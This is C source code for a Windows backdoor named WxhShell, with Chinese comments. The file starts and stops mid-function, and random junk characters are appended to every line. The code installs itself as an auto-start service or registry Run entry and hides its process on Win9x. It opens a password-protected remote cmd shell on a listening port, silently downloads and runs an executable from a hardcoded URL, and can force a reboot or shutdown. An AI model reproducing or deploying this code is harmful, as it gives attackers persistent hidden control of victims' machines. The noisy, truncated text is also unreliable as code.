    } )HcC\[  
  // 关机 b9jm= U  
  case 'd': { wVX0!y6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^|z>NV5>  
    if(Boot(SHUTDOWN)) v.J#d>tvf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~KvCb3~X  
    else { $'wl{D"  
    closesocket(wsh); X[}%iEWzT  
    ExitThread(0); ponvi42u  
    } (d\bSo$]  
    break; Vh&KfYY  
    } |M&/( 0  
  // 获取shell >Li?@+Zl  
  case 's': { -tJ*F!w6U  
    CmdShell(wsh); Z]CH8GS~<  
    closesocket(wsh); h[?28q$  
    ExitThread(0); ~I74'  
    break; :}-[%LSV  
  } nz+KA\iW  
  // 退出 eA_4,"{  
  case 'x': { 4v7RX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ujedvw;sO  
    CloseIt(wsh); ^} #!?" Y  
    break; it@s(1EO#  
    } c{q`uI;O  
  // 离开 7v_e"[s~  
  case 'q': { A>k;o0r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1lM0pl6M  
    closesocket(wsh); Zx{'S3W  
    WSACleanup(); z~al h?H  
    exit(1); Bc@e;k@i  
    break; dE~ns ,+  
        } wH.'EC  
  } 3& $E  
  } ZVL0S{V-mh  
"-oC,;yq  
  // 提示信息 6fiJ' j@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Ea6Z  
} .nN7*))Fj  
  } ~%ZO8X:^  
%K4-V5f  
  return; r`@Dgo}  
} IYFA>*Es  
FdD'Hp+  
// shell模块句柄 L $~Id  
int CmdShell(SOCKET sock) lHU$A;  
{ YDwns  
STARTUPINFO si; kW9STN  
ZeroMemory(&si,sizeof(si)); bYfcn]N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B(5g&+{Lq~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qA42f83  
PROCESS_INFORMATION ProcessInfo; xN]bRr  
char cmdline[]="cmd"; TV}SKvu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KK}&4^q  
  return 0; B5hGzplS  
} -JK+{<  
rm7UFMCR6i  
// 自身启动模式 ,>Q,0bVhH0  
int StartFromService(void) 5sH ee,  
{ C*$/J\6xy  
typedef struct +q;^8d>  
{ G(- `FH  
  DWORD ExitStatus; wFD .3!  
  DWORD PebBaseAddress; x8^Dhpr6  
  DWORD AffinityMask; 9bB~r[k  
  DWORD BasePriority; &}oDSD H^,  
  ULONG UniqueProcessId; sgX~4W"J  
  ULONG InheritedFromUniqueProcessId; K(?7E6\vO  
}   PROCESS_BASIC_INFORMATION; TL5bX+  
#{(rOb6H)  
PROCNTQSIP NtQueryInformationProcess; >_o_&;=`v  
Kt-@a%O0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <Aa%Uwpc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Je'$V%{E  
:MpCj<<[  
  HANDLE             hProcess; n1ICW 9  
  PROCESS_BASIC_INFORMATION pbi; @'QBrE  
anbr3L[!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZO,]h9?4  
  if(NULL == hInst ) return 0; _Cs.%R!r  
A U](pXK;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B?]^}r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PrCq JY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c09uCito  
C-M op,w  
  if (!NtQueryInformationProcess) return 0; <K43f#%  
!@Ox%vK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +$%o#~  
  if(!hProcess) return 0; mVxS[Gq  
m4EkL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <rU(zm  
4x:fOhtP  
  CloseHandle(hProcess); =hA/;  
pCq{F*;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZjzQv)gZ  
if(hProcess==NULL) return 0; U@9n 7F  
c9Cp!.#*E  
HMODULE hMod; Y!5-WX H  
char procName[255]; 'b-}KDP  
unsigned long cbNeeded; N-^\e)ln  
yJ^}uw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +=||c \'  
ZY83, :<  
  CloseHandle(hProcess); {9z EnVfg  
=KX:&GU  
if(strstr(procName,"services")) return 1; // 以服务启动 k @[Bx>  
x{=ty*E  
  return 0; // 注册表启动 s)}C&T$Y.  
} 6JJ%`Uojh  
;lP)  
// 主模块 rwU[dqBRhc  
int StartWxhshell(LPSTR lpCmdLine) P5[.2y_qM  
{ :Bl $c,J  
  SOCKET wsl; 5R qkAC  
BOOL val=TRUE; V97Eb>@  
  int port=0; SA'  zy45  
  struct sockaddr_in door; hse$M\5  
!?]NMf_  
  if(wscfg.ws_autoins) Install(); E}~ GXG  
LdA&F& pI  
port=atoi(lpCmdLine); gzeG5p  
Ra.<D.  
if(port<=0) port=wscfg.ws_port; <CeDIX t  
aaLT%  
  WSADATA data; IXg0g<JZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {4 *ob@w*  
Ur_~yX]Mo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m+CvU?)gJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F$d`Umqs;P  
  door.sin_family = AF_INET; /']Gnt G.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?L'ijzP  
  door.sin_port = htons(port); 2nk}'HBe  
0nBAO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zg[ksny  
closesocket(wsl); d]CRvzW  
return 1; p VLfZ?78  
} -V(5U! ^B  
3HWI;  
  if(listen(wsl,2) == INVALID_SOCKET) { E: #VS~  
closesocket(wsl); 7,Nd[ oL*7  
return 1; k{uc%6s  
} V0"UFy?i  
  Wxhshell(wsl); JWC{"6  
  WSACleanup(); p5E|0p  
+[:}<^p?cG  
return 0; ZVViu4]?y  
^ *RmT  
} e:&5Cvx  
{=pf#E=  
// 以NT服务方式启动 !RAyUfS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jgb{Tl:r  
{ '\P6NszY~  
DWORD   status = 0; dnH?@ K  
  DWORD   specificError = 0xfffffff; .Q4EmpByCg  
jf@#&%AC9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FK0nQ{uB"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RaKL KZn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ob-y {x,R  
  serviceStatus.dwWin32ExitCode     = 0; YaDr6)  
  serviceStatus.dwServiceSpecificExitCode = 0; Sky!ZN'I  
  serviceStatus.dwCheckPoint       = 0; .pK_j~}P  
  serviceStatus.dwWaitHint       = 0; xrp%b1Sy  
Vf,t=$.[Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~#N^@a  
  if (hServiceStatusHandle==0) return; MYDAS-  
M{1't  
status = GetLastError(); ]=7}Y%6  
  if (status!=NO_ERROR) l\JoWL  
{ )FYz*:f>&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NbSkauF~b  
    serviceStatus.dwCheckPoint       = 0; X^7bOFWE  
    serviceStatus.dwWaitHint       = 0; zq8LQ4@ay  
    serviceStatus.dwWin32ExitCode     = status; [*Wq6n  
    serviceStatus.dwServiceSpecificExitCode = specificError; Jr|"`f%V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vQ$FMKz7  
    return; ,a_\o&V  
  } AKejWh  
{O[a +r.n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N.l+9L0b  
  serviceStatus.dwCheckPoint       = 0; 7&qunK'  
  serviceStatus.dwWaitHint       = 0; KYZ/b8C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]W]o6uo7  
} NN>,dd3T  
twq!@C  
// 处理NT服务事件,比如:启动、停止 glm29hF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,)[u<&  
{ XnV*MWv  
switch(fdwControl) k7'_  
{ "l"zbW WOH  
case SERVICE_CONTROL_STOP: De6WC*trq  
  serviceStatus.dwWin32ExitCode = 0; qn5e[Vn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D<$, v(-  
  serviceStatus.dwCheckPoint   = 0; g/)mbL>=  
  serviceStatus.dwWaitHint     = 0; )k&<D*5s  
  { \GO^2&g(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=*rWh8)%<  
  } 7LbBS:@3z_  
  return; <-D>^p9  
case SERVICE_CONTROL_PAUSE: 79^Y^.D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _8v8qT}O~4  
  break; >,yE;zuw  
case SERVICE_CONTROL_CONTINUE: tt $DWmm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9@9(zUS|  
  break; !?,7Cu.5#6  
case SERVICE_CONTROL_INTERROGATE: |@`F !bnLr  
  break; d,tGW  
}; %wzDBsX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ fJ 5z  
} 8M <q-sn4B  
d="Oge8  
// 标准应用程序主函数 `q@5d&d`j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0z1m!tr  
{ /zJDQ'k0  
UzTFT:\  
// 获取操作系统版本 2~h! ouleY  
OsIsNt=GetOsVer(); fkbHfBp[(A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M_lQ^7/  
roSdcQTeT  
  // 从命令行安装 3#<b!Yz  
  if(strpbrk(lpCmdLine,"iI")) Install(); A)/8j2  
b{%p  
  // 下载执行文件 S:aAR*<6  
if(wscfg.ws_downexe) { w\ 4;5.$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NCR 4n_  
  WinExec(wscfg.ws_filenam,SW_HIDE); !W4A 9Th  
} O9?t,1  
f3El9[  
if(!OsIsNt) { VbyGr~t  
// 如果时win9x,隐藏进程并且设置为注册表启动 +GqK$B(x7  
HideProc(); AqnDsr!  
StartWxhshell(lpCmdLine); b&BkT%aA(G  
} ?y_W%og W  
else \]uD"Jqv#  
  if(StartFromService()) #}Y$+FtO  
  // 以服务方式启动 HqC 1Dkw  
  StartServiceCtrlDispatcher(DispatchTable); s\O4D*8  
else jGy%O3/  
  // 普通方式启动 R-QSv$  
  StartWxhshell(lpCmdLine); V{4=, Ax  
<cS"oBh&u0  
return 0; cetHpU ,  
} UVa:~c$U4  
v8 rK\  
14>WpNN  
tQ~vLPi$  
=========================================== *9T a0e*  
w{TZN{Y  
{x_SnZz&  
$ 1lI6 = ,  
mW EaUi)Zz  
a4{~.Mp  
" +5~5BZP  
J,q6  
#include <stdio.h> Uao8#<CkvJ  
#include <string.h> K ?uH Am  
#include <windows.h> jEU`ko_  
#include <winsock2.h> Xf 0)i  
#include <winsvc.h> X% JQ_Z  
#include <urlmon.h> 3<F\ 5|  
.Z?@;2<l  
#pragma comment (lib, "Ws2_32.lib") T<XGG_NOl  
#pragma comment (lib, "urlmon.lib") 3mef;!q  
8[v9|r  
#define MAX_USER   100 // 最大客户端连接数 y950Q%B]  
#define BUF_SOCK   200 // sock buffer {o>51fXc)  
#define KEY_BUFF   255 // 输入 buffer b^s978qn#  
>I*)0tE  
#define REBOOT     0   // 重启 ={g.Fn(_  
#define SHUTDOWN   1   // 关机 nUb0R~wr$G  
w1 ;:B%!H  
#define DEF_PORT   5000 // 监听端口 *~Y$8!ad  
z3-A2#c  
#define REG_LEN     16   // 注册表键长度 j}s<Pn%4  
#define SVC_LEN     80   // NT服务名长度 : ;l9to  
yBKEw(1  
// 从dll定义API s|HpN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lB)%s~P:s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _L8|Z V./  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "2'4b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IhR;YM[K  
@kh:o\  
// wxhshell配置信息 &<dC3o!  
struct WSCFG { )}!Z^ND*  
  int ws_port;         // 监听端口 1F|e/h%^  
  char ws_passstr[REG_LEN]; // 口令 dlv1liSXL5  
  int ws_autoins;       // 安装标记, 1=yes 0=no &,*G}6wa;&  
  char ws_regname[REG_LEN]; // 注册表键名 ?58,Ja  
  char ws_svcname[REG_LEN]; // 服务名 |; [XZ ZZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p9X{E%A<:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r< MW8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [d d KC)tA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uy'I#^Bt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;r8< Ed  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OKo)p`BX  
|-)2 D=P  
}; 3[{RH*nHD  
*C~$<VYI  
// default Wxhshell configuration 2 .p?gRO  
struct WSCFG wscfg={DEF_PORT, n3z]&J5fr  
    "xuhuanlingzhe", Z-U-n/6I  
    1, wn1` 9  
    "Wxhshell", >PbB /->  
    "Wxhshell", ~SzHIVj:6  
            "WxhShell Service", {u}d`%_.M  
    "Wrsky Windows CmdShell Service", =# /BCL7  
    "Please Input Your Password: ", tRtoA5  
  1, C}'Tmi  
  "http://www.wrsky.com/wxhshell.exe", {D{' \]+  
  "Wxhshell.exe" D`4>Wh/H  
    }; D`9a"o  
(_0r'{`  
// 消息定义模块 V|\dnVQ'-%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZbAg^2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (/i?Fd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?+P D?c7  
char *msg_ws_ext="\n\rExit."; 0PP5qeqN2n  
char *msg_ws_end="\n\rQuit."; ~fF_]UVq3  
char *msg_ws_boot="\n\rReboot..."; c3__=$)'kP  
char *msg_ws_poff="\n\rShutdown..."; zk++#rB  
char *msg_ws_down="\n\rSave to "; GbB :K2  
zNo>V8B(  
char *msg_ws_err="\n\rErr!"; 1CmjEAv%/  
char *msg_ws_ok="\n\rOK!"; Ht,+KbB  
b'O>qQ  
char ExeFile[MAX_PATH]; \cx==[&(  
int nUser = 0; OF1fS\P<>  
HANDLE handles[MAX_USER]; af-  
int OsIsNt; a(#aEbN?d  
x=I|O;"><  
SERVICE_STATUS       serviceStatus; 5 (cgHr"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5>x?2rp  
^yFtL(x,  
// 函数声明 Ze.\<^-t  
int Install(void); S_ER^Pkg  
int Uninstall(void); }K.2  
int DownloadFile(char *sURL, SOCKET wsh); 59MpHkr  
int Boot(int flag); # ? _8 *?  
void HideProc(void); u*6Y>_iA  
int GetOsVer(void); umuE5MKY<  
int Wxhshell(SOCKET wsl); $! R]!s  
void TalkWithClient(void *cs); dd-`/A@  
int CmdShell(SOCKET sock); !Y,*Zc$R  
int StartFromService(void); &;2@*#,  
int StartWxhshell(LPSTR lpCmdLine); NsN =0ff  
I]iTD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yw6^(g8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;RzbPlkl  
V;IV2HT0J"  
// 数据结构和表定义 ;oM7H*W C  
SERVICE_TABLE_ENTRY DispatchTable[] = @%b&(x^UD  
{ FoKAF &h7  
{wscfg.ws_svcname, NTServiceMain}, N <e72x  
{NULL, NULL} kSUpEV+/  
}; !(i}FFn{:  
G ~X93J  
// 自我安装 _I/uW|>  
int Install(void) [XbNZ6  
{ 2tqj]i  
  char svExeFile[MAX_PATH]; CzfGb4  
  HKEY key; |r<#>~*  
  strcpy(svExeFile,ExeFile); %1Nank!Zj  
7 (kC|q\4M  
// 如果是win9x系统,修改注册表设为自启动 _O;2.M%@  
if(!OsIsNt) { hd N[wC]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 231,v,X[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vp4NH]fJ  
  RegCloseKey(key); ^~DDl$NH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #`o]{UfW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5H79-QLd  
  RegCloseKey(key); = P@j*ix  
  return 0; |y$8!*S~(  
    } yKB&][)&  
  } lO/?e!$  
} ]t)#,'$^[W  
else { ,SG-{   
\'hZm%S  
// 如果是NT以上系统,安装为系统服务   !XQq*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L/KiE+Y  
if (schSCManager!=0) dxi5p!^^9  
{ )aAKxC7w  
  SC_HANDLE schService = CreateService L_O*?aaZ  
  ( 0^9%E61YR  
  schSCManager, nvbKW.[<f{  
  wscfg.ws_svcname, Me2qOc^Z-  
  wscfg.ws_svcdisp, sL!+&Id|  
  SERVICE_ALL_ACCESS, ',bSJ4)Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zPc kM)  
  SERVICE_AUTO_START, '`sZo1x%f  
  SERVICE_ERROR_NORMAL, <HB@j}qi  
  svExeFile, k1E(SXcW9  
  NULL, kK~,? l  
  NULL, ;hb_jW-0W  
  NULL, PHR:BiMZ  
  NULL, V.|#2gC]t  
  NULL Nv5)A=6#AA  
  ); +rFAo00E|  
  if (schService!=0) g>pvcf(  
  { $_f"NE}  
  CloseServiceHandle(schService); .I%`yhCW  
  CloseServiceHandle(schSCManager); E+z"m|G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <44A*ux  
  strcat(svExeFile,wscfg.ws_svcname); ;!(GwgllD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9/#?]LJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xy]Pmt  
  RegCloseKey(key); z(eAhK}6?  
  return 0; T)o>U &KNP  
    } ]114\JE  
  } !g7lJ\B  
  CloseServiceHandle(schSCManager); lPZYd 8  
} +x]3 - s  
} H;c3 x"  
qAW?\*n5N  
return 1; TD-o-*mO  
} v}sk %f  
2(i| n=  
// 自我卸载 ?k$'po*Eq  
int Uninstall(void) sd&^lpH  
{ $5\+Q W  
  HKEY key; ac!!1lwA  
YhQ%S}  
if(!OsIsNt) { F3e1&aK6{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @@V{W)r l  
  RegDeleteValue(key,wscfg.ws_regname); qO{Yr$ V%  
  RegCloseKey(key); N4)ZPLV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <7 xX/Z}M  
  RegDeleteValue(key,wscfg.ws_regname); "[dfb#0z`  
  RegCloseKey(key); O9ar|8y  
  return 0; Yfr4<;%  
  } b_Dd$NC  
} B'&QLO|  
} %R^*MUTx  
else { +3[8EM#g  
b?K`DUju{0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a.2Xl}2o5  
if (schSCManager!=0) =/Ph ]f9  
{ IXv9mr?H}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A)_HSIVi  
  if (schService!=0) i]15g@  
  { _=_<cg y1u  
  if(DeleteService(schService)!=0) { txik{' :  
  CloseServiceHandle(schService); *f o>  
  CloseServiceHandle(schSCManager);  7 T  
  return 0; 722:2 {  
  } n7/>+V+  
  CloseServiceHandle(schService); Hu$y8_Udw  
  } bm poptfL  
  CloseServiceHandle(schSCManager); +Z e;BKZ3  
} mtmTlGp6Lc  
} k}] M`ad  
9Cz|?71  
return 1; $.x,[R aN  
} ^Lv )){t  
apgR[=Oy  
// 从指定url下载文件 2ElZ&(RZJF  
int DownloadFile(char *sURL, SOCKET wsh) w+u1"  
{ NwyNl  
  HRESULT hr; L;-V Yo#  
char seps[]= "/"; K%ptRj$  
char *token; ~P BJ~j+G  
char *file; rXR!jZ.hi  
char myURL[MAX_PATH]; g OK   
char myFILE[MAX_PATH]; $`[TIyA9!  
d:pGdr& .  
strcpy(myURL,sURL); s_}`TejK  
  token=strtok(myURL,seps); cH6++r  
  while(token!=NULL) :-Ml?:0_X  
  { Kay\;fXT  
    file=token; {fJCj152.  
  token=strtok(NULL,seps); o Vpq*"  
  } qTSe_Re  
Lp) P7Yt-  
GetCurrentDirectory(MAX_PATH,myFILE); 66-tNy  
strcat(myFILE, "\\"); `|2g &Vn  
strcat(myFILE, file); AsI\#wL)  
  send(wsh,myFILE,strlen(myFILE),0); 8Si3 aq3  
send(wsh,"...",3,0); 2ck0k,WP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]\y]8v5(  
  if(hr==S_OK) (H8JV1J  
return 0; i1S cXKO  
else NFyKTA6  
return 1; GOOm] ]I  
{y'4&vt<~  
} *-*SCA`E^=  
[RF6mWQ  
// 系统电源模块 ~jzjJ&O&  
int Boot(int flag) OT0IGsJ"'  
{ K#Zv>x!to  
  HANDLE hToken; '<s54 Cb  
  TOKEN_PRIVILEGES tkp; J0Gjo9L  
\CX6~  
  if(OsIsNt) { 2u$rloc$b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _F5*\tQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ( k,?)  
    tkp.PrivilegeCount = 1; 0xY</S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pzZ+!d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =*R6 O,  
if(flag==REBOOT) { _+.JTk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q ~^!Ck+#*  
  return 0; a7685Y  
} j^%N:BQ&  
else { mV^~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b:cy(6G(  
  return 0; BOWOH  
} %/ctt_p0x  
  } *`8JJs0g  
  else { loC~wm%Ql  
if(flag==REBOOT) { D^gS.X^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J;=T"C&  
  return 0; _N=f&~T  
} Nv^b yWqu  
else { &%%ix#iF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5YneoM]Q  
  return 0; >7PNl\=gG  
} K?Sy ?Kz  
} Au6Y]  
.)SR3?   
return 1; f!#+cM  
} =t`cHs29  
}*C*!?pcd  
// win9x进程隐藏模块 3I(;c ,S  
void HideProc(void) [2Zl '+  
{ skBD2V4  
oEX^U4/=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b;%t*?t  
  if ( hKernel != NULL ) lh[?`+A  
  { G{I),Y~IF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )_1 GPS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )XHn.>]nc  
    FreeLibrary(hKernel); ({Pjz;xM  
  } <# RVA{  
XT4Gz|k  
return; VZq~ -$  
} ]jYFrOMy4S  
SZEi+CRs0  
// 获取操作系统版本 tJybR"NQ  
int GetOsVer(void) tbWf m5$  
{ {VKFw=$8  
  OSVERSIONINFO winfo; ]Axz}:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OQ- Hn -H  
  GetVersionEx(&winfo); hf^<lJh~=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :m(DRD  
  return 1; '_^T]fr}  
  else ZPyzx\6\  
  return 0; r fzNw  
} |JP19KFx'B  
Bp3E)l  
// 客户端句柄模块 (0B?OkQ  
int Wxhshell(SOCKET wsl) yIrJaS-  
{ OZ+v ~'oD  
  SOCKET wsh; iaCV8`&q%  
  struct sockaddr_in client; o8Gygi5  
  DWORD myID; .] sJl  
p[(I5p: L  
  while(nUser<MAX_USER) OQ7 `n<I<)  
{ /("7*W2  
  int nSize=sizeof(client); s2#Ia>5!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7jgj;%  
  if(wsh==INVALID_SOCKET) return 1; t* =[RS*  
,/D}a3JD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bh<;px-  
if(handles[nUser]==0) o87kF!x  
  closesocket(wsh); REU,"  
else sVK?sBs]  
  nUser++; iN[x *A|h  
  } 68Gywk3]=u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}9^$}PR  
) ](ls@*  
  return 0;  @Fb1D"!  
} kIVQ2hmv  
pA6KiY&  
// 关闭 socket ,|{`(y/v  
void CloseIt(SOCKET wsh) l!F$V;R  
{ D&" D[|@  
closesocket(wsh); 4"|Xndh1.  
nUser--; A^>@6d $2  
ExitThread(0); f9W:-00QD  
} G aV&y  
ZpV]X(Px(o  
// 客户端请求句柄 =~GP;=6  
void TalkWithClient(void *cs) G}fB d  
{ sD:o 2(G*  
,Uz8_r  
  SOCKET wsh=(SOCKET)cs; d+ jX49Vt  
  char pwd[SVC_LEN]; 9{*{Ba  
  char cmd[KEY_BUFF]; "`$,qvNN  
char chr[1]; V4n~Z+k  
int i,j; JaCX}[R  
q 84*5-  
  while (nUser < MAX_USER) { 1f`De`zXzr  
m2c'r3UEu  
if(wscfg.ws_passstr) { P:"R;YCvE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #ES[),+|mB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % i4 5  
  //ZeroMemory(pwd,KEY_BUFF); {^WK#$]  
      i=0; Qt>K{ >9Cf  
  while(i<SVC_LEN) { eV[{c %wN:  
b=,B Le\  
  // 设置超时 MJ|tfQwhx  
  fd_set FdRead; c*;oR$VW  
  struct timeval TimeOut; m,k 0 h%  
  FD_ZERO(&FdRead); IZ=Z=k{  
  FD_SET(wsh,&FdRead); 3iCe5VF  
  TimeOut.tv_sec=8; S,c{LTL  
  TimeOut.tv_usec=0; 42NfD/"g+s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L  ;L:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c/|{yp$Ga>  
*;fTiL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T$5wH )<  
  pwd=chr[0]; L4>14D\  
  if(chr[0]==0xd || chr[0]==0xa) { 9>)b6)J D  
  pwd=0; ^kKLi  
  break; 9/k2 zXY  
  } ZnEgU}g<2  
  i++; (Q*q# U  
    } 1 l,fK)z  
)|~&(+Q?]  
  // 如果是非法用户,关闭 socket qyz%9 9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B\J[O5},  
} #a e@VedM  
]9oj,k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =Z\q``RBy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dvg'  
N]P~`)  
while(1) { C'JI%HnQ  
=XfvPBA  
  ZeroMemory(cmd,KEY_BUFF); . >"xp6  
S7+>Mk  
      // 自动支持客户端 telnet标准   LJeq{Z  
  j=0; /!]K+6>u  
  while(j<KEY_BUFF) { K *@?BE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xA3_W  
  cmd[j]=chr[0]; T9yI%;D  
  if(chr[0]==0xa || chr[0]==0xd) { C*YQ{Mz(f  
  cmd[j]=0; lQIg0G/3  
  break; x1@,k=qrd  
  } f7&ni#^Ztj  
  j++; XRPJPwes]  
    } $O|Xq7dp  
C6e5*S  
  // 下载文件 ozOc6  
  if(strstr(cmd,"http://")) { (Yy#:r;U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dp W`e>o  
  if(DownloadFile(cmd,wsh)) 4rhHvp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ug%7}&  
  else o6u^hG6~'  
